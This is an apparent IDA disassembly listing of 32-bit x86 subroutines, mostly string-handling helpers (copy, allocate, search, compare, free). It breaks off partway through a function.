; =============== S U B	R O U T	I N E =======================================



sub_4097D0	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4097F0


loc_4097E1:				; CODE XREF: sub_4097D0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4097E1


loc_4097F0:				; CODE XREF: sub_4097D0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4097D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409810	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_409810	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409830	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409850	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409882
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409866:				; CODE XREF: sub_409850+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409866
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409882:				; CODE XREF: sub_409850+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4098C7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_4098B6:				; CODE XREF: sub_4098A0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_4098B6
		pop	esi
		pop	ebx


loc_4098C7:				; CODE XREF: sub_4098A0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_4098E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_409910	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409940	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40995D
		mov	edx, [esp+arg_8]
		push	esi


loc_409951:				; CODE XREF: sub_409940+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409951
		pop	esi

locret_40995D:				; CODE XREF: sub_409940+Aj
		retn
sub_409940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409992
		mov	eax, [esp+arg_8]
		push	esi


loc_409981:				; CODE XREF: sub_409970+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409981
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409992:				; CODE XREF: sub_409970+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409970	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099D0	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4099DA
		xor	eax, eax


loc_4099DA:				; CODE XREF: sub_4099D0+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_4099D0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409A1B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409A1B:				; CODE XREF: sub_409A00+11j
		retn
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A30	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409A66
		push	edi
		nop
		call	near ptr 2821A22h
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A66:				; CODE XREF: sub_409A30+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409A30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AA0	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409ABF
		nop
		call	near ptr 2830000h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409ABF:				; CODE XREF: sub_409AA0+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409AA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409B10:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409B28:				; CODE XREF: ___:00409B1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B40	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		nop
		call	sub_5EE1E5
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409C4C
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C4C:				; CODE XREF: sub_409C30+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409C5F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C5F:				; CODE XREF: sub_409C30+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409C30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C80	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409CEA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409CAA
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CAA:				; CODE XREF: sub_409C80+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0DDAAE852h, 83907783h
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409CEA:				; CODE XREF: sub_409C80+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409C80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D20	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409D20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409D50:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		call	sub_5EE1E5
		nop
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409E2F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409E2F:				; CODE XREF: sub_409DA0+84j
		mov	[ebx+9], ebp


loc_409E32:				; CODE XREF: sub_409DA0+Cj
					; sub_409DA0+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EA0	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EE1E5
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409EA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EF0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F07
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F07:				; CODE XREF: sub_409EF0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F0B:				; CODE XREF: sub_409EF0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		test	cl, cl
		jz	short loc_409F2F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F0B


loc_409F2F:				; CODE XREF: sub_409EF0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F36:				; CODE XREF: sub_409EF0+23j
					; sub_409EF0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409EF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F60	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409F60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_409FA3
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: sub_409F90+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_409F90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A000	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A013
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A013:				; CODE XREF: sub_40A000+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A000	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A072
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A072:				; CODE XREF: sub_40A030+13j
		add	esp, 2000h
		retn
sub_40A030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0C0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A0E4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A0E4:				; CODE XREF: sub_40A0C0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A0C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A130	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A160	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A160	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A195
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A195:				; CODE XREF: sub_40A180+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1AF
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1AF:				; CODE XREF: sub_40A180+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A203
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: sub_40A1F0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A216
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A216:				; CODE XREF: sub_40A1F0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_4367FA
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A270	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A270	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A290	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A2E2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: sub_40A290+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_4367FA
sub_40A290	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3C0	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A400:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A430	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A430
		mov	eax, large fs:0
